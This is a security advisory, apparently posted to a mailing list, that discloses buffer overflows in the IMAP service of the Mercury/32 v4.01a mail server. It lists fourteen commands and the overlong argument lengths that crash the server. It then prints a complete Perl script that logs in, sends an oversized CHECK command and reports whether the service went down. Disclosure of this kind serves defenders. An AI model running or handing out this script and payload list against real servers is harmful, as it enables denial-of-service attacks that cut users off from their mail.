Summary:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003
(http://www.pmail.com/).

Details:
Multiple buffer overflows exist in Mercury/32, v4.01a, Dec 8 2003.
There are 14 vulnerable commands that can be used to cause buffer
overflows to occur. After a successful login to the mail server, if
any of these commands are used with an overly long argument the
application closes resulting in a denial of service. The commands and
approximate argument lengths are as follows:

EXAMINE A x 512 \r\n
SUBSCRIBE A x 512 \r\n
STATUS A x 512 \r\n
APPEND A x 512 \r\n
CHECK A x 512 \r\n
CLOSE A x 512 \r\n
EXPUNGE A x 512 \r\n
FETCH A x 512 \r\n
RENAME A x 768 \r\n
DELETE A x 768 \r\n
LIST A x 768 \r\n
SEARCH A x 768 \r\n
CREATE A x 1024 \r\n
UNSUBSCRIBE A x 1024 \r\n

Vulnerable Versions:
Mercury/32, v4.01a, Dec 8 2003

Solutions:
The vendor was notified of the issue. There was no response.

Exploit:
#===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
# Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

sleep(1);

print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

sleep(1);

print $socket "0001 CHECK " . "A" x 512 . "\r\n";

close($socket);

sleep(1);

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
close($socket);

print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com)

All vulnerabilities discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)

RENAME overflow discovered by NoPh0bia noph0bia[at]lostspirits[dot]org
SELECT overflow discovered by JohnH JohnH[at]secnetops[dot]com

[ reply ]